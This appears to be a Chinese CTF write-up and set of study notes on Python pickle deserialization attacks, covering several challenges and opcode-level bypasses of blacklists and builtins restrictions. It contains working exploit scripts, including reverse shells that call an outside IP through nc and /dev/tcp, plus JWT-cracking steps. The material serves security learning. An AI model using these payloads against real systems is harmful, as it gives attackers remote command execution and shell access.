[CISCN 2019华北Day1]Web2 首先我们打开插件看下,flask的web框架 然后就是我们要花钱买东西,接下来基本就确定是要伪造一个session了 但是这里的思路是错的,哈哈 当时意识到了一点不对劲 具体就是我们要买到等级6,但是,这里面的这个买不到等级6 不然怎么买?重复很多次?但是这里没有设计可以增加经验不断买的地方 还有就是抓包,有很多很多的数据,这里该怎么处理? 实际上可以一次性就买到等级6了 但是,也是因为刚才卡了一下的缘故,是可以点击下一页的 此时注意url栏
1 http://node4.anna.nssctf.cn:28363/shop?page=3
还有就是,点击这个图片,找到我们需要的地方
看到b站会员对应的这个lv4.png了吗 那我们也是可以找到等级6的
1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url = 'http://node4.anna.nssctf.cn:28363/shop?page=' for i in range(500): u = url + str(i); try: response = requests.get(u) if 'lv6.png' in response.text: print(i) break except: pass
运行脚本,找到page180是我们需要的 然后最后的结算页面,思路还是需要一些技巧或者多次尝试。我们可以将discount修改为一些比较小的数字 得到一个需要admin访问的页面
1 http://node4.anna.nssctf.cn:28363/b1g_m4mber
抓包
1 2 3 4 5 6 7 8 9 10 11 12 13 GET /b1g_m4mber HTTP/1.1 Host: node4.anna.nssctf.cn:28363 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node4.anna.nssctf.cn:28363/shopcar Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: _xsrf=2|f5bfef8d|a0611b6d13ef21f5e64096ddda4f1f33|1752731473; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIifQ.rLD0MmVRNL4EWKNbRkE6QNny8Afs6YPnGqrZ7cKc_jo; commodity_id="2|1:0|10:1752734508|12:commodity_id|8:MTYyNA==|b35dc01a033f45636c71a0f93d1043f7ec1b1634540c1d743eb334f9d4b858d4" If-None-Match: "c63998d5bdcbf56c96cd396256e18ee05bfc4f3e" Connection: close
我们猜测是修改jwt来成为admin权限 我们使用一个工具,上一篇博客中有详细介绍,这里只给出了指令 encode
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}' eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw
decode,with secret key
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' {u'username': 'admin', u'number': '326410031505'}
without secret key
1 2 $ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' {"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}
我们使用这个
1 python2 session2.py decode -c 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIifQ.rLD0MmVRNL4EWKNbRkE6QNny8Afs6YPnGqrZ7cKc_jo'
之前架构可以看见是py2的 不对,这个是不能得到key的 我们需要使用另外的工具https://github.com/brendan-rius/c-jwt-cracker 这个是下载地址https://github.com/brendan-rius/c-jwt-cracker/blob/master/README.md 这是使用说明 这里我个人是安装了一些东西才搞定的 一个是安装gcc编辑器
还有一个就是
安装make
最后进入c-jwt-cracker-master目录下
最后再运行
1 2 3 4 5 6 7 8 9 10 ┌──(root㉿kali)-[~/c-jwt-cracker-master] └─# make gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o main.o main.c gcc -I /usr/include/openssl -g -std=gnu99 -O3 -c -o base64.o base64.c gcc -o jwtcrack main.o base64.o -lssl -lcrypto -lpthread ┌──(root㉿kali)-[~/c-jwt-cracker-master] └─# ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjIifQ.rLD0MmVRNL4EWKNbRkE6QNny8Afs6YPnGqrZ7cKc_jo Secret is "1Kun"
最后我们得到了1Kun是我们的密钥 后面应该只需要进入文件夹执行最后一个命令就可以了
1 python2 session2.py decode -c 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InJvb3QifQ.rkfdrSPds2mlAE-mjnsadSJW3LocWSs2OkMXInhVZsQ' -s '1Kun'
但是这个好像是不可以的 其实这一步我们是想要知道他的结构是什么样的,就是,是{‘username’:’root’}还是{‘username’:’name’}还是{‘_fresh’: True, ‘_id’: ‘3f8f9b00cc45f84f46d46e47e6c03572d236cafb2debb2d2cffb13034b5b2cdc0090077c6c0351d666e92fcacf91fa928ab81c8fcc83985cde3e4cd24b6a8e40’, ‘_user_id’: ‘1’, ‘time’: ‘datetime.datetime(2025, 7, 16, 10, 53, 24, tzinfo=datetime.timezone.utc)’} 这种
这里我们使用之前的一个方法,放入cyverchef里面 我们进行base64解码之后
1 {"alg":"HS256","typ":"JWT"}{"username":"1"}."`Î..@0àÚc¤ÿ-.~Ì.¶h.¨üa.è³=Ю´
然后我们看了看到对不上的原因应该就是这里是先有一个{“alg”:”HS256”,”typ”:”JWT”},我们可以直接对最重要的部分进行修改就可以了 {“username”:”admin”}
最后我们可以得到另外一个地址 还有就是这个,如果我们已经知道这个session的组成部分,我们直接给这个session的关键部分换一个位置。当然,都知道关键部分的位置这些信息了,也没有必要用session2那个脚本了。
1 /static/asd1f654e683wq/www.zip
访问 然后进行审计,得到有用的信息,审计admin文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import tornado.web from sshop.base import BaseHandler import pickle import urllib class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0)
主要是对这个become有一个pickle.loads(),也就是反序列化 我们就需要序列化这个,pickle.dumps 还有就是进行url编码的 urllib.unquote()
urllib.quote() 是 Python 2 中的一个函数,用于对字符串进行 URL 编码(percent encoding)。它被用来将字符串中的特殊字符转换成符合 URL 格式的形式,以便在 URL 中进行安全传输或显示
1 2 3 4 5 6 7 8 9 10 11 12 import pickle import urllib class payload(object): def __reduce__(self): return (eval, ("open('/flag.txt','r').read()",)) a = pickle.dumps(payload()) a = urllib.quote(a) print a
当然,这个脚本会报错
1 2 3 4 在 Python 2 中,urllib.quote() 是正确的写法; 但在 Python 3 中,quote 函数被移到了 urllib.parse 模块中,直接使用 urllib.quote() 会提示 “没有该属性”。
最后生成的脚本
1 2 3 4 5 6 7 import pickle import urllib.parse class payload(object): def __reduce__(self): return (eval, ("__import__('os').popen('ls /').read()",)) a = pickle.dumps(payload(),protocol=0) print(urllib.parse.quote(a))
这个没有protocol生成的payload用不了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 在 pickle.dumps() 中,protocol=0 是指 使用 Python pickle 协议的版本 0。pickle 协议是 Python 用于序列化和反序列化对象的格式,不同版本的协议在兼容性、性能和特性上有所不同。 各协议版本的主要区别 协议版本 Python 支持 特点 0 所有版本 人类可读的 ASCII 格式,兼容性最强,但效率最低。适合需要手动检查或与旧系统交互的场景。 1 所有版本 二进制格式,比协议 0 更高效,但不支持某些高级特性。 2 2.3+ 引入对象状态保存优化,支持新类(new-style class)。 3 3.0+ 默认 Python 3 协议,明确支持 bytes 类型。 4 3.4+ 支持更大对象、自定义类型和扩展 pickle 格式。 5 3.8+ 增加对带外数据(out-of-band data)的支持,提升性能。 为什么使用 protocol=0? 在你的代码中,使用 protocol=0 的主要原因可能是: 兼容性需求:生成的 pickle 数据需要被旧版本 Python 解析。 可读性:协议 0 的输出是 ASCII 格式,便于调试或手动分析。 安全测试:在某些漏洞利用场景(如 pickle 反序列化漏洞)中,使用简单协议可以避免兼容性问题。 对比示例 协议 0(ASCII 格式) python 运行 import pickle data = {'name': 'Alice', 'age': 30} pickled = pickle.dumps(data, protocol=0) print(pickled) # 输出: b'(dp0\nS\'name\'\np1\nS\'Alice\'\np2\nsS\'age\'\np3\nI30\ns.' 协议 3(二进制格式) python 运行 pickled = pickle.dumps(data, protocol=3) print(pickled) # 输出: b'\x80\x03}q\x00(X\x04\x00\x00\x00nameq\x01X\x05\x00\x00\x00Aliceq\x02X\x03\x00\x00\x00ageq\x03K\x1es.' 你的代码中的作用 在你的代码中,protocol=0 确保生成的 pickle 数据是 ASCII 格式,后续通过 urllib.parse.quote() 编码为 URL 安全字符串。这在构造 HTTP 请求参数(如 Cookie、表单数据)时非常有用,因为 ASCII 格式更易于嵌入 URL 中。 如果不指定协议(默认使用当前 Python 版本的最高协议),生成的二进制数据可能包含无法直接作为 URL 参数的字符,导致传输或解析错误。
如果不是这样的话,最上面的直接读取flag.txt是怎么来的,我怎么确定要读的是这样文件 我们在点击成为大会员后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /b1g_m4mber HTTP/1.1 Host: node4.anna.nssctf.cn:28254 Content-Length: 79 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://node4.anna.nssctf.cn:28254 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://node4.anna.nssctf.cn:28254/b1g_m4mber Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: commodity_id="2|1:0|10:1752734508|12:commodity_id|8:MTYyNA==|b35dc01a033f45636c71a0f93d1043f7ec1b1634540c1d743eb334f9d4b858d4"; _xsrf=2|014de807|65b58f93a15d4cb086d684e4e5d8401f|1752740480; JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEifQ.8iYM4QgkAw4NpjpP8tEn7MBbZoF-Kj8YRbosz3Qrr-Q Connection: close _xsrf=2%7Cf91ac06b%7C9de2a7ff590a64dc7e81ac881d8f6873%7C1752740480&become=admin
对become进行修改 最后拿到flag 最好在py2的环境下做这道题目,当然,py3的也出来了
其他做法,不用os模块 1 2 3 4 5 6 7 8 9 import pickle import commands import urllib class test(object): def __reduce__(self): return(commands.getoutput,('ls /',)) t=test() print urllib.quote(pickle.dumps(t))
安装对应模块
1 2 3 4 5 6 解决方法:使用 subprocess 替代 commands 如果你的代码是从 Python 2 迁移过来的,需要将 commands 替换为 subprocess。以下是常见用法的对应关系: Python 2 (commands) Python 3 (subprocess) 说明 commands.getoutput(cmd) subprocess.getoutput(cmd) 执行命令,返回输出字符串 commands.getstatusoutput(cmd) subprocess.getstatusoutput(cmd) 执行命令,返回 (状态码,输出)
py2的环境下就不能用这个os模块了,要print才能有回显,都用上面这种方法
[Python]Unpickle 后面几道题目都是buu上面的 这里我们访问进去 只有一个hello,其他的什么都没有了 扫描发现什么没有 这里其实是给了源码了exp的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import pickle import base64 from flask import Flask, request app = Flask(__name__) @app.route("/") def index(): try: user = base64.b64decode(request.cookies.get('user')) user = pickle.loads(user) username = user["username"] except: username = "Guest" return "Hello %s" % username if __name__ == "__main__": app.run()
很简答的源码,就是从cookie里面取出user,然后再pickle反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #!/usr/bin/env python3 import requests import pickle import os import base64 class exp(object): def __reduce__(self): s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'""" return (os.system, (s,)) e = exp() s = pickle.dumps(e) response = requests.get("http://172.18.0.2:8000/", cookies=dict( user=base64.b64encode(s).decode() )) print(response.content)
这个没有什么好说的了,基本都给你了,并且确定弹的出网?
[watevrCTF-2019]Pickle Store 这个和前面的给哥哥买东西的题目很像很像 这个我们主要是看看这个脚本是怎么写的 基本上的原理已经很清楚了,只是可能自己来写一个脚本,可能不想php反序列化那样能够很轻松地写出来
1 2 3 4 5 6 7 8 9 10 import base64 import pickle class A(object): def __reduce__(self): return (eval, ("__import__('os').system('nc 114.55.129.236 9999 -e/bin/sh')",)) a = A() print(base64.b64encode(pickle.dumps(a)))
和前面的基本一样,这里也不多说了
[NewStarCTF 2023 公开赛道]Ye’s Pickle 小总结 [NewStarCTF 2023 公开赛道]Ye’s Pickle像这种题目,再或者类似的Pickle Store 都没有什么建设性 我觉得我现在对于这部分知识点,还差的是 1.脚本的编写,不会每次都是很简单的像上面的脚本。 2.就像我之前看到的24年的羊城杯的的exp,是会考一下绕过和waf的 payload是这种形式的
1 2 3 4 5 6 7 8 opcode=b'''(cos system S'bash -c "bash -i >& /dev/tcp/VPS/3333 0>&1"' o.''' secret="EnjoyThePlayTime123456" exp = touni(cookie_encode(('user', opcode), secret)) print(exp)
我觉得我现在需要的就是对这个方面的再学习和理解
pickle再细致学习 参考大佬博客https://ayan0.top/2025/05/13/%E9%9A%8F%E6%89%8B%E6%89%93%E7%9A%84pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ 和https://blog.csdn.net/google20/article/details/142071729?ops_request_misc=%257B%2522request%255Fid%2522%253A%252223d756aa4e29e1ebe7cf397aa72da6be%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=23d756aa4e29e1ebe7cf397aa72da6be&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-142071729-null-null.142^v102^pc_search_result_base4&utm_term=pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96&spm=1018.2226.3001.4187
最基础部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import pickle class Person(): def __init__(self): self.age = 18 self.name = "Pickle" p = Person() opcode = pickle.dumps(p) #将一个Person对象序列化成二进制字节流 print(opcode) # 结果如下 # b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.' P = pickle.loads(opcode) # 将一串二进制字节流反序列化为一个Person对象 print('The age is:' + str(P.age), 'The name is:' + P.name) # 结果如下 # The age is:18 The name is:Pickle
这个还是没有什么问题的,只是一个单纯的先序列化一次,后面又反序列化一次的过程 比较重要的就是我们的__reduce__()方法。是object类中的一个魔术方法,我们可以
常见的一些指令 c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈 o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈 i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈 N 实例化一个None N 获得的对象入栈 S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、’等python字符串形式) 获得的对象入栈 V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈 I 实例化一个int对象 Ixxx\n 获得的对象入栈 F 实例化一个float对象 Fx.x\n 获得的对象入栈 R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈 . 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无 ( 向栈中压入一个MARK标记 ( MARK标记入栈 t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈 ) 向栈中直接压入一个空元组 ) 空元组入栈 l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈 ] 向栈中直接压入一个空列表 ] 空列表入栈 d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈 } 向栈中直接压入一个空字典 } 空字典入栈 p 将栈顶对象储存至memo_n pn\n 无 g 将memo_n的对象压栈 gn\n 对象被压栈 0 丢弃栈顶对象 0 栈顶对象被丢弃 b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈 s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新 u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新 a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新 e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新 我们来进行实例一下
1 2 import os ox.system('ls')
换一种opcode的方式来表示
1 2 3 4 5 cos system #引入os.sysytem,压入栈 (S'ls' #压入一个MARK,再压入字符串ls tR. #t把最后一个MARK处的元素包装成元组入栈 #R把元组作为os.system的参数,最后.运行
也可以参考下面这个理解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import pickle opcode = b'''cos system (S'whoami' tR.''' """ cos system c表示import 一个模块中的函数并作为对象压栈 (S'whoami' (表示向栈中压入一个Mark标记,S表示实例化一个whoami字符串对象并压栈 tR. t表示寻找栈中的上一个MARK,并组合之间的数据为元组,获得对象压栈。 R表示选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,函数的返回值入栈。 .表示程序结束,栈顶的一个元素作为pickle.loads()的返回值 """ pickle.loads(opcode) #xxx\21609
漏洞利用方式 命令执行 1 2 3 4 5 6 7 8 9 10 11 import pickle opcode = b'''cos system (S'whoami' tRcos system (S'whoami' tR.''' pickle.loads(opcode)
在pickle中,和函数执行相关的字节码有三个R、I、O 分别对应
1 2 3 4 5 opcode1=b'''cos system (S'whoami' tR.'''
1 2 3 4 5 opcode2=b'''(S'whoami' ios system .'''
1 2 3 4 5 opcode3=b'''(cos system S'whoami' o.'''
实例化对象 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import pickle class Person: def __init__(self, age, name): self.age = age self.name = name opcode = b'''c__main__ Person (I18 S'Pickle' tR.''' p = pickle.loads(opcode) print(p) print(p.age, p.name) """ <__main__.Person object at 0x0000013440833B90> 18 Pickle """
使用b执行进行变量覆盖
反序列化漏洞 __reduce__方法 对应的指令为R class的__reduce__方法,在pickle反序列化的时候会被执行
waf绕过 对于R被禁了的时候
绕过黑名单函数 有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单
1 black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]
platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼可以帮助我们解决这道问题 还有一个解(估计是出题人的预期解),那就是利用map来干这件事
1 2 3 class Exploit(object): def __reduce__(self): return map,(os.system,["ls"])
最后就是黑名单是不可以用的,不可取
常见绕过 使用b指令绕过R指令 当对象被序列化时调用__getstate__,被反序列化时调用__setstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate__与__setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__。 在pickle源码中,字节码b对应的是load_build()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def load_build(self): stack = self.stack state = stack.pop() #首先获取栈上的字节码b前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict inst = stack[-1] #获取该字典中键名为"__setstate__"的value setstate = getattr(inst, "__setstate__", None) #如果存在,则执行value(state) if setstate is not None: setstate(state) return slotstate = None if isinstance(state, tuple) and len(state) == 2: state, slotstate = state #如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并 if state: inst_dict = inst.__dict__ intern = sys.intern for k, v in state.items(): if type(k) is str: inst_dict[intern(k)] = v else: inst_dict[k] = v #如果__setstate__和__getstate__都没有设置,则加载默认__dict__ if slotstate: for k, v in slotstate.items(): setattr(inst, k, v) dispatch[BUILD[0]] = load_build
如果我们将如果我们将字典{“setstate “:os.system},压入栈中,并执行b字节码,,由于此时并没有__setstate__,所以这里b字节码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b字节码时,由于已经有了__setstate__,所以会将栈中字节码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import pickle class Person: def __init__(self, name, age=0): self.name = name self.age = age def __str__(self): return f"name: {self.name}\nage: {self.age}" class Child(Person): def __setstate__(self, state): print("invoke __setstate__") self.name = state self.age = 10 def __getstate__(self): print("invoke __getstate__") return "Child" opcode=b"""(c__main__ Person S'Casual' I18 o}(S"__setstate__" cos system ubS"whoami" b.""" """ }空字典入栈 u寻找栈中的上一个MARK,组合之间的数据(数据必须为偶数个来组合key-value)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 第一个b,此时没有setstate,故向对象的属性字典添加了一个新的键值对 第二个b,因为对象已经有了__setstate__,故将栈中字节码b的前一个元素当成state,执行__setstate__(state) 也就是os.system(command) """ fake = pickle.loads(opcode) #xxx\21609
当然,这里看的我很莫名其妙
绕过builtins 有些例子限制死了module==”builtins” builtins模块提供了python的内置函数,在解释器启动的时候自动导入 查看所包含的函数
1 2 3 4 import sys for i in sys.modules['builtins'].__dict__: print(i)
我们的目的是构造print(eval(“import (‘os’).system(‘whoami’)”))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import pickle import builtins import os print(builtins.getattr(builtins,'eval'))# 获取对象属性值 # <built-in function eval> # 但是我们c指令要给出instance,也就是说不能单独import builtins print(builtins.globals())#获取模块包含的内容 """ 返回的字典最后一个是 'builtins': <module 'builtins' (built-in)> """ print(builtins.getattr(builtins.dict,'get'))#获取get函数 print(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins')) # builtins.dict.get()函数获取字典builtins.globals()的'builtins'对应的值 print(builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')) # <built-in function eval> opcode=b"""cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'builtins' tRS'eval' tR(S'__import__("os").system("whoami")' tR.""" # 上面代码从外层开始写,中间先是获取get函数,然后调用globals函数,参数为空元组 # 然后一波操作获取到了eval函数,最后调用了eval('__import__("os").system("whoami")') pickle.loads(opcode) # xxx\21609
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 import pickle import io import builtins class RestrictedUnpickler(pickle.Unpickler): blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'} def find_class(self, module, name): # Only allow safe classes from builtins. if module == "builtins" and name not in self.blacklist: return getattr(builtins, name) # Forbid everything else. raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() opcode = b'''cbuiltins getattr (cbuiltins getattr (cbuiltins dict S'get' tR(cbuiltins globals )RS'__builtins__' tRS'eval' tR(S'__import__("os").system("whoami")' tR. ''' restricted_loads(opcode)
绕过关键字过滤 1.十六进制绕过 操作码s能够识别十六进制字符串 S’\x73ecret’ 2.使用V指令进行unicode绕过 Vsecr\u0065t 对于已导入的模块,我们可以通过sys.modules[‘xxx’]来获取该模块,然后通过内置函数dir()来列出模块中的所有属性。
由于pickle不支持列表索引、字典索引,所以我们不能直接获取所需的字符串。在Python中,我们可以通过reversed()函数来将列表逆序,并返回一个迭代对象。
然后通过next()函数来获取迭代对象的下一个元素,默认从第一个元素开始 hello.py
pk1.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import pickle import sys import hello print(dir(sys.modules['hello'])) # ['__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'secret'] print(next(reversed(dir(sys.modules['hello'])))) # secret # 下面手写opcode获取secret字符串 opcode=b"""(((c__main__ hello i__builtin__ dir i__builtin__ reversed i__builtin__ next .""" print(pickle.loads(opcode)) # secret
下面构造变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import pickle import sys import hello class A(object): def __init__(self,uname,password): self.uname=uname self.password=password def get_password(uname): if uname=="hello": return hello.secret opcode=b"""c__main__ hello ((((c__main__ hello i__builtin__ dir i__builtin__ reversed i__builtin__ next I999 db(S'hello' I999 i__main__ A .""" a=pickle.loads(opcode) if a.uname=='hello': if(a.password==get_password('hello')): #覆盖了hello模块的secret变量,使其与实例a的password相等 print("success") #success
这些算是一些基本的知识了 我们这里当然想的是,能不能多做两个类似的题目来帮助我们解决对应的问题,达到一个更好的理解
总结 我会再次好好再学一下python的一些基础知识,目前这方面较为欠缺 会及时补上来的。会有这个知识的第三篇文章,并且附上py以及脚本题的解决 对于这种类型的题目,最简单的已经没有什么问题了。比如ikuu哥哥那道题目(因为过了session那一步之后,只要简单反序列化一次就可以了) 但是对于像羊城杯,[MTCTF 2022]easypickle的那种要绕过waf的,实在还是有点难理解